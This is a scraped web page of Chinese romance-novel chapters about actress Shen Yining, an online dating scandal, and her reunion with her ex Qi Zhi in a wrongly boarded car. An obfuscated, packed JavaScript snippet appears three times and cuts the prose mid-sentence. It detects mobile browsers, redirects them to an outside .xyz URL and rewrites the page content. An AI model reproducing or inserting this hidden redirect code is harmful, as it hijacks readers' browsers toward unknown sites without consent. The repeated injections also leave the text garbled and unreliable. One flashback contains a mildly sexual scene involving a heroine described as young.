;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071672|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈亦凝卸完妆之后，直接飞速下班，第一时间就溜回酒店美美地睡了一觉。 睡前习惯性地刷了一下抖音，浏览一会儿短视频催催眠。 却没想到一打开抖音，第一条就是营销号，在播报她的瓜，她都没时间反应，营销号那充满ai又十分冰冷的声音在说，“我的妈呀，今天微博彻底瘫痪了，谁懂跟SNT前队长沈亦凝车咚的神秘帅哥竟然是祁致，这算塌房了吗？” 沈亦凝吓得赶紧下滑。 却没想到依旧是个营销号，“娱乐圈真瓜从不预告，沈亦凝被爆恋情，前男友竟然是祁致，顶流vs十八线，这瓜你们怎么看？” 0帧起手，躲都躲不掉。 沈亦凝这哪里还敢继续刷抖音？赶紧直接退出了这个app。 之前刷抖音的时候，她也不是没刷过自己，而且刷到的次数还不少，明明已经多次点“不感兴趣”，但是依旧能够刷到自己。 主要是营销号很喜欢发她，似乎只要黑她，说她坏话，流量就特别好。 沈亦凝在内娱里应该算得上是很神奇的存在，虽然说很糊吧，没什么资源，但是是那种所有人都知道她不火的那种糊。 有网友评选什么“内娱顶级神颜”、“优秀爱豆舞台盘点”、“95后女明星颜霸合集”之类的，都不会少了她的名字。 骂归骂，但是……网友们只要看到这些帖子，总会莫名其妙想起“沈亦凝”这个名字。 实属稀奇。 而且沈亦凝知名本身度不低，只是粉丝不多，一直不火而已。她知名度高主要是黑粉特别多，恋爱瓜这事儿在今天爆出来后，来吃瓜的路人也多，热度很高。 再加上祁致本人自带的流量，buff叠加在一起，来吃她恋爱瓜的人就更多了。 所以那些营销号怎么可能会放弃这个涨热度的机会呢？全是闻着味儿就来了。 抖音现在估计她恋爱这事儿都上热点了。 沈亦凝把手机甩到一边，决定眼不见心不烦，闭上眼睛自我催眠：睡一觉就好了。 可是发生了这样的事，她怎么可能睡得着。 于是沈亦凝直接登陆了微博，开始库库吃瓜。 不仅如此，她吃着吃着瓜，还鬼使神差地直接进入了祁致的微博，准备去“视奸”一下。 天地良心，和他分手之后，沈亦凝就很少翻祁致的社交软件看了。 上次偷看他微博都不知道是猴年马月之前的事儿了。 在祁致下午发了微博之后，很快＃祁致沈亦凝＃、＃祁致前女友＃、＃祁致说跟沈亦凝正常恋爱＃之类的热搜拔地而起。 并且热度一直居高不下。 也直接逆转了舆论风向。 原先还一直有很多人在重点讨论沈亦凝被包养这件事情，在祁致轻飘飘发了一条微博之后，吃瓜的人没办法在造谣沈亦凝背后有什么金主大佬了。 反而还吸引了一波CP粉。 一群吃瓜的人还顺着网线找到了沈亦凝的微博，短短半小时时间，让她微博粉丝蹭蹭蹭地涨了十几万。 这事儿唯一受伤估计也就只有祁致的女友粉老婆粉，纷纷心碎了。 祁致的微博评论区彻底沦陷了。 “我靠！！哥，这微博是你本人发的吗？” “我服了啊，本来再开开心心吃沈亦凝瓜呢，怎么吃着吃着吃到自家头上来了。” “够了，哥哥，快告诉我你微博被盗了，这不是你本人发的。” “我哭了呀，这事儿真的假的？” “哥，你要是被挟持了你就眨眨眼！！” “我哥才没塌房！他不是靠选秀出名的，也不是爱豆，他只是自由创作歌手好不？我哥没塌房！” “哥！我原谅你，毕竟是素人时期谈的恋爱，人都有一段眼盲心瞎的时期。” “就是就是，谁还没有几个拿不出手的前任呢？” 祁致这微博的评论区，简直就是一整个大型失恋现场，没十几分钟压根出不去。 沈亦凝也确实在祁致的微博页面待了十几分钟出不去。 主要是被粉丝硬生生硬控住的。 什么叫祁致眼盲心瞎啊，什么叫她配不上祁致一根头发丝。 她有这么差吗？！ 沈亦凝有些不服。 她当初在国外爆火、代言接到手软、到处飞参加各种活动的时候，祁致还是一个小小透明呢！ 沈亦凝吃瓜吃得上头，于是就这么直接误触了屏幕。 而后就这么水灵灵地给祁致的微博点了个赞。 好巧不巧，还正是祁致发的那条「没本事，正常恋爱」的微博。 更令人崩溃的是，她登陆微博的时候，用的是自己的大号啊！ 完了，完蛋了。 彻底完蛋了。 她吃瓜就吃吧。 非要手滑。 手滑就算了吧。 用的还是实名认证的大号！ 沈亦凝吓得赶紧撤回了一个点赞。 吓得心跳都直接蹦到了嗓子眼，大脑宕机空白一片，满脑子都是——完蛋了啦，明天一早起来估计又要被骂了。 捧着个手机忧愁老半天。 沈亦凝安慰自己，现在是深更半夜，而且她点赞和取消赞之间间隔也就只有两秒钟。 估计没人会发现吧？ 应该没人这么无聊时刻注意她吧。 但却没想到，仅仅十分钟后。 ＃沈亦凝手滑点赞祁致＃这个标题，又被网友送上了热搜。 沈亦凝崩溃大笑。 哈哈。 完了个球，杀了我吧。 4. 旧人重逢 在这场被爆出来的恋爱瓜中，最受伤的应该就是祁致的粉丝“芝士球”。 “芝士球”的战斗力是内娱出了名的强，内娱有不少梗就是说的他们—— “祝你打榜遇到芝士球。” “你骂我算什么本事，有本事你就去跟芝士球吵架啊，看看究竟谁是谁的爹。” “芝士球，一群神秘组织，拥有甜甜的名字和超强的战斗力，对家是谁都不要是她们，否则将会变得不幸。” “什么，你敢跟芝士球吵架？不要命啦！” 内娱所有人都知道，祁致的粉丝“芝士球”十分不好惹，她们的粉丝黏性特别高，一旦粉上祁致就很少脱粉的，甚至有的芝士球连个墙头都没有，只专注自家，两眼一睁就是给祁致搞数据。 祁致的各项数据经常性都是内娱top1。 首次出专辑10小时，销量突破4亿，创下双平台第一。 谁家粉丝有这种购买力和战斗力？ 要是碰瓷到他家，没死也要脱层皮。 这也就是为什么沈亦凝会这么慌的原因。 她也不想蹭啊，更不想给祁致点赞。 既然都是前任了，保持这种谁也不搭理谁的关系是最好的。 可谁让她手滑呢？ 如果她跟网友说自己是手滑的，那可信度有多少？ 肯定没有！ 不仅不信还会被骂“绿茶”。 果然不能半夜吃瓜，真的容易干错事。 沈亦凝叹了一口气，赶紧退出了祁致的微博页面。 而后硬生生看着自己的微博涌入大量芝士球在骂她。 “姐姐，你别蹭了行吗？” “在没有这事儿之前，我都不知道有沈亦凝这个人。” “就是啊，小姐姐，听说你在国外的时候是个大前辈，但是我真不混韩娱，从没听说你是谁，你现在在内娱就是个小糊咖，没这事儿谁愿意搭理你。” “不是吧姐，你真是我哥前女友啊？我哭了。是谁都行，怎么偏偏是你。” “求求了，都已经分手这么多年了，不要来蹭，放过我们吧。” “姐姐，你再蹭，就祝你糊穿地心（对手指）。” “我从不骂女明星，只要你不蹭，我就不骂你。” “姐，我想偏个题，祁致的嘴好亲吗？” “我还是吃瓜才发现内娱有个人叫‘沈亦凝’，翻了一下她的微博，又去考古了一下她曾经在国外的舞台和回国后演的电视剧，我发现她长得挺好看的，但是一想到是祁哥前女友，我就喜欢不起来呜呜呜。” “能跟祁致谈过恋爱的，颜值果然不差，但是你蹭我哥哥热度，我就对你不客气了哦（恶魔警告）。” “真是前女友吗？我吃醋了呜呜，我决定对你路转黑了！” “居然真是男神前女友，给我受死吧！” 沈亦凝这算是彻底见识到了祁致粉丝“芝士球”的战斗力，就在沈亦凝手滑点赞祁致微博的短短半小时之后，她眼睁睁地看着自己最近发的那条微博，彻底被芝士球攻陷。 评论只有零星的十几万，瞬间变成了100w＋。 这还是在深更半夜的战斗力。 怪不得圈内都说“芝士球”是个神秘组织呢。 她们都不用睡觉的吗？ 她们每天都活跃在网络上吗，还是直接住在了微博上。 总结下来就是，祁致的粉丝大多数都是活粉，而且特别多死忠粉。 这还是出道这么多年以来，第一次微博评论数超过了100万。 虽然说黑红也是红。 但是她一点儿也不喜欢这种红起来的方式啊。 100多万的评论，90％都在骂她，这谁高兴得起来。 说实话这一秒钟，沈亦凝心里连退圈公告都写好了。 这个晚上对于沈亦凝来说，注定是一个不眠之夜。 这种情况下怎么可能睡得着。 沈亦凝虽然经常被黑，习惯了被骂，但是被骂的时候还是会难过的，说完全不在意更是不可能的。 于是睡不着她就去翻评论，翻评论就更加伤心到睡不着。 如此恶性循环。 不知不觉她在自己评论区看着疯狂涌入的“芝士球”在骂她，全是说她“手滑”这事儿，是在故意捆绑她们哥哥祁致。 不知不觉都看到半夜十一点多了。 沈亦凝慢慢地发现了自己身体好像有些不太对劲。 头很晕，额头发烫，而且还控制不住连续打了好几个喷嚏。 绝对不是熬夜累了这么简单。 沈亦凝第一反应是自己生病了。 毕竟这样冷的天气，又在冰冷的湖水里泡了整整七次，就算她是奥特曼，也没办法抵抗住。 更何况作为一个艺人，要保持身材，她168的身高，体重却常年控制在85斤，早就营养不良，免疫力低下。 压根不需要用到体温计，沈亦凝都能够知道自己现在绝对感冒发烧了。 生病不是小事。 在发现自己可能生病之后，她第一反应居然不是害怕落下病根，而是害怕会影响第二天的拍摄进程。 表面上是一个小明星，实际上她就是个娱乐圈打工人罢了，如果明天不能够按时出工，被有心人发到网上，说她不守时耍大牌啥的，估计又是一场腥风血雨。 更何况更重要的是——她付不起误工费。 没错，她就是这么可怜。 就是这么穷。 正因如此，即使现在已经很晚了，沈亦凝还是在第一时间在手机里点了“闪送”，让外卖员给她从药店里带来感冒灵和退烧胶囊。 吃了药，沈亦凝便闭眼睡下。 躺下眯着眼休息了半小时，退烧药和感冒灵没有一点儿用，甚至浑身上下都发热、腰部也慢慢变得酸胀肿痛起来。 病情估计越来越严重了。 不及时处理的话，明天是真要出不了工了。 沈亦凝也没耽搁，仰头又吃了一次药，强撑着身体戴上口罩，就直接从床上爬起来，跑下酒店打车。 初秋晚上的风带着刺骨的寒意，天上无月，星星疏淡，带着几分寂凉。 这次的拍戏取景地在一处古镇，酒店门口的路灯都没几盏。 沈亦凝没助理，从小待在国外当训练生的原因，回国后压根没什么朋友。 唯一一个朋友孟觅夏，虽然跟她是在同城，但是孟觅夏在多年前成团夜落选时回国做起了舞蹈老师，现在已经是素人，两人除了节假日很少联系。 毕竟工作不同，即使关系再铁也很难再见面。 沈亦凝也实在是不知道要不要去联系孟觅夏，在这所城市里，她最信任的人也就只有孟觅夏了。 但是转念一想，孟觅夏也是个社畜，明天一早还要去上班，给小朋友训练跳舞呢。 于是最终还是没打扰孟觅夏。 至于自己的父母…… 就更没有联系的必要了。 要不然打电话给段穆言？ 在这所城市里，除了能够麻烦孟觅夏之外，她唯一能够想到会无条件赶过来陪她的，也就只有段穆言了。 这么晚了，还是找个人陪她一起比较安全。 沈亦凝前段时间在拍戏的时候，手机丢了，两个月前才新买了一个，好多联系人的手机号码都没存。 她和段穆言也不常联系。 于是想了好一会儿，才依稀记起来了段穆言的电话号码，没有丝毫犹豫直接拨打了过去。 “嘟嘟嘟……”那边一直忙音拨不通。 奇了怪了。 难不成不是178开头，而是198？ 沈亦凝不知怎么的，脑海里“刷”地一下，涌入了11位神秘号码，于是直接拨打了下去。 电话一打过去，那边直接接通了。 沈亦凝先开口，“喂？” 那边好像没回应，又好像是轻“嗯”了一声，总之她没听清，她又试探性地说了一句，“段穆言？” 那边彻底没声了。 沈亦凝都快怀疑自己是不是打错电话了，但是还是硬着头皮说完，“我在星澜酒店，现在发烧了，又打不到车，你可以带我去医院吗？” 那边依旧是死一般的沉寂。 这下沈亦凝可以断定，自己绝对是打错电话了。 段穆言电话可以打不通，但是绝对不会让她自言自语说了几句话不理她的。 于是沈亦凝赶紧丢下一句，“抱歉，我可能打错电话了”，之后就毫不犹豫地直接挂了电话。 挂断电话之后，沈亦凝控制不住地开始emo。 现在她生了重病，又是深夜，她一个二十出头的女孩子竟然找不到一个能够陪她一起去医院的人。 沈亦凝蹲在一盏路灯下边，借着熹微的光线给自己安全感。 低头浏览出租车页面，把最后一线希望就给滴滴顺风车。 只不过古镇位置偏僻，再加上又是半夜，一时半会儿压根就没人接单。 沈亦凝就只好蜷缩在路灯下，蹲着等出租车看起来就像是一只无家可归的流浪小猫，蜷缩在角落里独自待着。 她不知怎么的，又想起了当初在国外训练的那段时间。 她总是生病，也总是一个人。 因为公司要求身材管理，她每天就吃一餐，并且严格控制碳水油脂，最瘦的时候只有77斤，说一句瘦的像皮包骨是真的不为过。 祁致那会儿常说她，“你再节食下去，风一吹就把你刮跑了。” 沈亦凝则不以为意地把祁致放到自己碗里的鸡腿挑回他的碗里，笑意盈盈地说，“没事儿啊，刮大风的时候，我就挽着你的胳膊，有你在，再大的风也吹不跑我的。” 祁致气笑了，“但是我又不会一直都在。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071673|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你会一直在。”沈亦凝盯着他，认真说，“你会陪我一辈子的。” 祁致不说话，只是望向她时的眼神带着几分缱绻。 他勾着唇，十分自然地伸手，把她挽在怀里，语气温柔又带着几分宠溺。 “我一直在。”他轻声在她耳边说。 - 莫名其妙居然又想起了祁致那个家伙。 肯定是今天“恋爱瓜”这事儿，祁致这个人出现在她面前的频率实在是太高了，让她不去想起他都难。 等回过神来时，沈亦凝竟发现自己的眼睛变得朦胧了起来。 被导演和场记凶的时候她没哭，看到网络上铺天盖地的恶评的时候没哭，自己生病了大半夜打不到车去医院她也没哭。 现在莫名其妙想起从前，想起祁致这个人的时候，她只觉得满腹委屈如泉涌，鼻尖控制不住发酸，眼眶瞬间盈满了泪水。 瞬间有了想哭的冲动。 她低着头，咬了咬下唇，眼泪水落在地上，晕出了一个小小的圈儿。 该死的。 一想起祁致，她整个人就变得莫名矫情，总想哭。 这个习惯可一点儿都不好。 沈亦凝伸手胡乱抹了一把眼泪，低头一看手机已经显示有司机接单了，而且距离她所在的地方不远，预计还有1分钟就能到达。 原来在她刚才莫名其妙悲春伤秋的时候，终于有人接单了。 果然天无绝人之路！ 沈亦凝正感叹完，手机响了，接单的出租车师傅给她打电话，“你好，尾号5438的乘客？” “我是。” “我已经到了，也看到你了，你是在路灯那边蹲着的姑娘吧？我就在对面，中间有护栏我过不去，懒得掉头了，你直接走过来吧，人行道就能过来。” 沈亦凝一边打着电话一边抬头看过马路对面。 这才发现原来空无一人的马路对面，终于有车的影子了。 只不过，怎么有两辆车。 而且都是黑色的车。 沈亦凝觉得最左边那辆看起来比较像出租车，于是没多想，直接挂了电话之后，就雄赳赳气昂昂地朝着那辆车走了过去。 因为发着烧的原因，沈亦凝现在脑子有点晕乎乎的，智商都跟着下降了，居然没有第一时间想着去查看车牌号。 而是直接就去拉车门。 而真正的出租车司机此时正坐在驾驶座里，猛地瞪大了眼睛，出口就是一句国粹。 我靠，那女孩疯了吧，她怎么敢去拉那车的车门的？ 那车可是迈巴赫啊！ 这丫头居然把迈巴赫当出租车！ 沈亦凝对此毫不知情。 她不懂车，就像男人不懂口红。 傻乎乎地直接拉开迈巴赫的副驾驶座的车门，就这么毫无防备地坐了上去，并且动作无比熟练地开始系安全带。 她一边系安全带一边说，“师傅，手机尾号5438，麻烦您快点送我去附近的医院，谢谢您。” 但这个“出租车司机”的语气却十分冷漠，甚至带着几分吃惊，“凭什么，你谁啊。” 沈亦凝偏头看过去，这才注意到着“出租车司机”还挺讲究的嘛，虽然是个司机，但是明显很热爱生活和热爱他现在的这份工作。 深夜出门还喷了发胶穿着西装。 做个司机也要如此体面。 沈亦凝没想太多，发着高烧的她如今智商骤降，只傻乎乎地从兜里掏出自己的手机，打开打车订单递到那“出租车司机”面前，语气十分认真说，“我刚才打了车的，你可以看一下我的订单。” “司机”愣住了。 沈亦凝没等到那“司机”有什么反应，反而听到了自己身后传来一声冷嗤。 “呵。” 就这简单的一个语气词。 瞬间让沈亦凝头皮发麻，背脊下意识有些僵硬。 本来晕乎乎的脑袋在此时此刻瞬间清醒了一大半。 虽然只有短促的一声冷笑。 但是这声音，怎么感觉有点儿该死的熟悉。 沈亦凝僵硬地转身看过去。 就这么直接跟身后的人对上视线。 沈亦凝这才注意到，车子的后座原来还坐着个男人。 他身上套着件黑色风衣，记忆里的他不常穿黑白灰，反而喜欢穿暖色系，跟她约会的时候超喜欢打扮自己。 她很少看他穿深色的衣服。 特别是黑色。 但实际上黑色很适合他，款式简单的黑色风衣穿在他身上，反而显得肩宽腰细，芝兰玉树。 都说岁月是把杀猪刀，但是几年不见，这人颜值不降反增，看起来甚至还年轻了一些。 沈亦凝几乎是瞬间就认出了他。 祁致。 她那四五年没见的前男友。 认出他的那一秒，她总觉得自己是见了鬼。 5. 天大乌龙 遇见多年不见的前任是一种什么样的感觉？ 自己素面朝天、顶着鸡窝头、里头穿着睡衣外头套着一件HelloKitty大棉袄，结果对方精致得像去走T台。 在这种情况下和前任见面又是什么样的感觉？ 沈亦凝只知道，现在的她完全笑不出来，甚至有点想夺窗而逃。 她甚至有那么一瞬间，怀疑过自己是幻听，怀疑自己是在做梦。 但这绝对不可能。 祁致这人就像她的劫，要么不会主动入她的梦，既然被她梦到了，两个人就绝对不会是像现在这样疏远的距离。 早就干一些少儿不宜的事情了。 沈亦凝真不想承认，跟祁致分开的这几年，她做过几次春梦，主角都是他。 她想破脑袋想不通是什么原因。 大概是因为祁致是她第一个男人，于是……有种不一样的感情在吧。 话说回来，这真是造孽。 怎么出门打个出租车去医院都能够遇到前任。 明明已经和他好多年没见了，怎么就突然在这种场合见面了呢！ 沈亦凝也不是没想过会和祁致重逢。 毕竟两人都是混娱乐圈的，躲得过初一躲不过十五。 总有这么一天会再见的。 但是沈亦凝却从没想过是如此奇葩的见面，她幻想的是自己化着精致的全妆，穿着晚礼服出现在他面前。 结果却是现在这样。 邋遢小猫和精致小狗重逢了。 让她老脸往哪里搁？ 对此，沈亦凝只想说。 上帝啊。 真是给她开了一个天大的玩笑。 沈亦凝承认自己扭头看到祁致的第一眼，心里波涛汹涌，心跳不受控地撞破旧时光，开始猛烈跳动起来。 当初主动提分手的是她。 一直以来忘记不了他的也是她。 甚至只见他一眼，某种情愫如潮水般涌来，挡都挡不住。 可同她内心波涛翻涌截然相反的是，祁致只是懒洋洋地抬起眼皮，往她所在的方向看过来时，脸上没有什么表情，眉目间尽是疏离。 看她的眼神就像看陌生人一样。 没有半分想要叙旧的情绪。 对上男人淡漠的目光，沈亦凝倏然惊醒。 也是。 她跟祁致分开很久了。 就算曾经热恋过缠绵过，那也已经是过去式。 他应该早把和她的过去忘了大半。 即使没忘，也对她没什么感情了。 意识到这一点，沈亦凝反而没有这么紧张了，反而身体还放松了一些。 没有电视剧里演的那样，前任相见分外眼红、火光四射。 沈亦凝居然还能十分平静地主动跟对方打招呼，“没想到这么晚了，你也来拼车啊。” 虽说跟前任做朋友是世界上最不切实际的事情。 但是既然今天她因为“恋爱瓜”这事，被网友追着骂，还被造黄谣，祁致却肯出来帮她说话。 这也表明了祁致即使不喜欢她，但是起码也不会太恨她。 起码证明祁致放下了过去的事情。 寒暄几句也不是不行吧。 更何况这事儿沈亦凝还是挺感激祁致的，如果不是祁致发了那条微博，说不定还有多少网友追着骂她。 即使微博里依旧有不少“芝士球”在骂她“蹭流量”，但是对比造黄谣，让她滚出娱乐圈，甚至问候她父母这些评论来说，芝士球的语言攻击力算低了。 芝士球虽然刷评能力极强，但是说过最狠的话也就是“再蹭我哥哥流量，祝你糊穿地心”。 十分不巧的是，沈亦凝现在已经很糊了，这话对她来说，确实没多大攻击力。 总而言之，祁致发的微博还是有很大用处的。 于是沈亦凝这才友好又主动地同对方递过去了橄榄枝。 只不过，代表友好的橄榄枝她递过去是一回事，对方接不接，那又是另外一回事了。 在她说完这话时，车里没人搭理她。 沈亦凝倒是也不冷场，扭过头去，不再看祁致，笑嘻嘻地对“出租车司机”说，“您可以先送他去目的地，再送我去医院，我不急我还能撑。” “出租车司机”仍旧沉默。 只是视线来回地看来看去，看了眼坐在车后座的祁致，又看看沈亦凝，满脸吃瓜的表情。 倒是坐在后边的祁致又是一声冷嗤。 带着几分嘲讽的意味。 “沈亦凝。”祁致开口，懒洋洋的语气，声线清冷低沉。 明明只是简单地叫了一声她的名字，却听得她心尖一颤。 沈亦凝有点儿不解，扭回头看过去。 两人的视线再次对上。 祁致嘴角淡扯着，看向她的视线，带着几分晦暗不明。 “你卖什么惨。” 声线不变，语气依旧。 却听得让人无端生寒。 只不过这台词，怎么听起来这么熟悉呢。 沈亦凝记起来了。 她跟祁致谈恋爱那会儿，祁致就跟她说过类似的台词。 沈亦凝12岁独自出国寻求梦想。 和她同批进入公司训练的练习生，最终只有她一个人留了下来。 公司里负责教学舞蹈和声乐的老师，都不止一次说过，“沈亦凝很能吃苦，也有毅力。” 连她自己都觉得自己又独立又能吃苦。 其实她不是不会累，也不是不想找人倾诉。 只是她小小年纪就独自在异国，语言不同，国籍不同，一时间找不到合适的人倾诉，更不像其它小孩一样，委屈了可以找父母撒娇。 直到遇见祁致之后，她才发现，原来自己也有矫情的一面。 因为长时间训练舞蹈，沈亦凝总是会受伤，她每次摔伤了，都捧着药膏找祁致，要他帮忙涂。 一些后背或者是她自己擦不到的伤口，要祁致帮忙涂很正常。 但是被伺候习惯之后，像是脚踝手背膝盖之类的，能够自己动手擦的地方，她也懒得自己动手了。 要是祁致不帮她，她就会委屈巴巴地说， “我没关系的祁致。” “反正伤口不擦药膏也能结痂，就是恢复得慢了点而已。” 祁致在上声乐集训课，没办法即使回来陪她，她就会说，“我没事的，你去忙自己的吧，我自己一个人在家也可以，只要有绒绒陪着我就好了。” 绒绒是他们一起养的小狗。 跟祁致在一起短短几个月时间，沈亦凝就变得很擅长撒娇。 撒娇这事儿对于她来说，简直信手捏来。 但是祁致就吃她这一套。 每次她用这招，祁致每次都无奈地笑着说她，“沈亦凝，你又撒什么娇。” 然后听话地接过药膏帮她擦伤口，她当时年纪小，只会口嗨，当看着祁致伸手过来要脱她吊带，沾着药膏的骨节分明的手要碰她腰时，她就怂了，红着脸要躲。 祁致就会一把把她捞进怀里。 她瘦得很，祁致一只手掌就能够轻松牵制住她两只手腕，微微用力就能够把她扣在怀里，动也动不了。 另一只手去碰她的皮肤，一开始他确实在本本分分涂药，很快就会控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071674|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住地干坏事。 灵活的手指划过腰间和胸口。 祁致因为常年练习乐器，手心有薄茧，碰到她皮肤的瞬间，十分容易让她浑身酸麻，就像触电。 沈亦凝咬紧下唇，才勉强控制住不让自己颤栗。她年纪小，又是第一次谈恋爱，面对他这样，她也只会狠狠骂他，“祁致，你变态。” 她是土生土长的江苏人。 骂人的时候带着几分软腔，没有半分杀伤力不说，落在祁致眼里倒更像是在卖萌。 像只炸毛的猫。 她年纪小，祁致不会真的对她做什么。在床上时只逗她，她羞得脸色潮红，他则把药膏丢到一旁，微一用力就直接把沈亦凝压在身下，白色床榻都陷进去一块，“我还有更变态的，你要不要试一试？” 直到沈亦凝连连求饶。 祁致才闷笑着，满意地松开她。 又伸出手来刮刮她的鼻尖，又说出那句，“沈亦凝，你怎么总撒娇。” 沈亦凝也不想总撒娇。 但是跟他服软很有用。 她叫他赶紧结束声乐训练回来陪他，他就能直接丢下吉他，快速赶回家陪她，回来时手里还会带上她喜欢吃的小零食.——杏仁巧克力糯米馅饼。 她每周都要吃一块。 自然这些事儿只是凤毛麟角。 若是要认真数起来他们曾经那些事儿，估计三天三夜都说不完。 她矫情又怎样。 他乐意宠着。 宠着宠着，她就养成习惯了，成了习惯之后就很难改掉。 但她敢对上天发誓。 她刚才绝对没这个意思。 纯粹只是祁致这人想歪了而已。 沈亦凝下意识辩驳说，“我没有。” 她就像以前一样。 可祁致却变了。 他没像以前那样逗她说，“真的没有嘛？”也不会宠溺地惯着她说，“好吧没有没有。”甚至都不愿意敷衍她。 只是舒展的眉眼倏然布满了冷意，也不知道谁惹他了。 又重新恢复了一副生人勿近的感觉。 让人感觉车内的温度的骤降了几度一样。 祁致偏过头，不再看她，只轻瞥一眼坐在驾驶座上的西装男人说，“去医院。” 说完，还不忘补充一句，“怕她得了什么急症，死了。” 驾驶座上的段洲：6。 刚才还在吃瓜说这突然窜上车的美女究竟是何方神圣，看起来跟祁致这人关系不菲的样子。 直到听了这句话。 段洲心里什么念想都消失了大半。 这哥这几年嘴毒得很，即使面对这么个超级大美女也照样稳定发挥。 说实话，沈亦凝听到祁致刚才说的那句话也是一愣。 印象中的祁致哪里是这样的。 嘴巴像涂了鹤顶红。 几年不见，像是变了个人一样。 果然跟前任见面还是不可能和平的。 沈亦凝老实闭上嘴，不敢说话了。 段洲踩下油门，车子飞速驶了出去，也是这个时候，沈亦凝的手机震动起来。 她低头一看，来电是“郑师傅”。 正是她约的那个网约车司机的电话。 看到“郑师傅”来电的时候，说实话沈亦凝是懵的。 如果说网约车司机“郑师傅”正在打电话给她，那她旁边这位专心开车，把手机丢一边的西装男人又是谁？ 而后作为女人的第六感告诉她——也许她是坐错车了。 而她刚才认为的，巧合到跟祁致半夜拼到同一辆车这件事，也是一个大乌龙。 6. clown&joker 事实证明，真相只有一个—— 那就是她真的坐错车了。 沈亦凝刚摁下接听键，就听到郑师傅慌张又带着几分咆哮的声音，“5438车主，你你你……你真的坐上迈巴赫走了？你上出租车难道都不看车牌号吗！” 隔着个手机屏幕，沈亦凝都能够听出来对方语气里的崩溃。 原来真是这样。 怪不得刚才她上车的时候，就觉得坐在驾驶座的这个西装小哥看起来就不太像出租车司机。 也不是对出租车司机有什么刻板印象，只是觉得正常人都不会打扮得如此……骚包。 蓝色西装和擦得油光发亮的皮鞋，头发还喷了发胶，乍一看真是骚包中的战斗机。 更何况，像祁致这样的人，怎么可能深夜坐出租车出门，被人认出来他不就完蛋了，这应该是他的专车才符合逻辑啊！ 如果沈亦凝现在没有发烧，身体是处于健康且完全清醒的状态，那她肯定能够瞬间反应过来事情的不太对劲。 可偏偏她脑子不清醒。 于是这场明明可以避免的乌龙，就这么顺理成章地发生了。 如果现在不是有祁致这个人坐在车后座的话，沈亦凝估计都要开始化身土拨鼠尖叫了。 她现在只觉得社死。 特别是在坐在驾驶座上那个男人，听到她跟郑师傅通话时，似有若无勾起的嘴角，一看就是明白她是真坐错车了在笑她，就更觉得社死了。 分分钟想换个星球生活的那种心情。 还有，郑师傅明明知道她坐错车了，第一时间就可以提醒她，为什么等了这么久，直到等到开车了才打来电话啊！ 郑师傅永远不会告诉她，他只是想看戏，看看这个上错迈巴赫的乘客究竟会不会被赶下车。 作为一个中国人，天生就有吃瓜的心。 遇到了这么搞笑的事情，第一时间就是拍照发个朋友圈，并且还录了个视频保存，挣钱都没吃瓜重要了。 谁知道这瓜吃着吃着发现有些不太对劲。 这迈巴赫车主居然没把他的乘客赶下车，而且还真的往医院所在的方向去了。 这实在是不太合理了吧。 郑师傅还等着5438尾号的乘客被赶下车，而后好好嘲笑她一下呢！ 发现自己好像玩大了之后，郑师傅这才赶紧拨打电话。 一生爱吃瓜的郑师傅，也是推动这场乌龙事件的次要原因。 沈亦凝强迫自己冷静下来。 保持着通话，偏头对身旁的陌生男人道歉，“不好意思，我好想坐错车了，您在方便在路边停一停吗？真是不好意思！” 她道歉的语气可谓是十分诚恳。 如果现在是在微信聊天的话，估计沈亦凝都要发好几张小人跪地，喊着“对不起”的表情包了。 蓝色西装男，也就是段洲，瞥了眼后视镜，视线落在祁致身上短暂一秒钟。 祁致懒散地坐在车后座，双手交叠，黑发细碎散落额前，神色散漫，似乎对沈亦凝搭错车这件事情并不关心。 可是段洲却读出了祁致的态度，直接帮他把话说出来了，“没事，离医院也不远，顺路送你去了，省得还得停车下车。至于出租车那边，你直接让司机点已将乘客送达就好。” 说这话时，段洲心里还在想：这般英雄救美的话，任谁听了都会十分感动吧。 自己这番话简直酷毙了。 就不信撩不到妹。 祁致肯定也对他的表现很满意，说不定还会给他加工资…… 段洲还在乐呵呵地想着，殊不知沈亦凝压根就不领情。 沈亦凝现在满脑子就只有一个想法，那就是：下车！下车！下车！ 祁致现在这么火，流量这么大，发一条广告博都能够两分钟破百万赞，十分钟五百万点赞。 这样的逆天流量说不定多少人盯着他。 沈亦凝怎么可能敢坐他专车去医院，不要命了么？ 要是被拍到之后，她分分钟会被再次骂上微博热搜！ 虽然说现在沈亦凝的事业发展得不太好，但是再破的饭碗也是饭碗，她心态乐观，还等着自己东山再起的时候呢。 刚才以为是出租车，扭头看见祁致的那一瞬间，沈亦凝除了惊叹遇见前任，更多的是想，完蛋了，不会被拍到吧。 但是毕竟出租车难打，她又必须去医院，所以压根没办法，只能硬着头皮坐了。 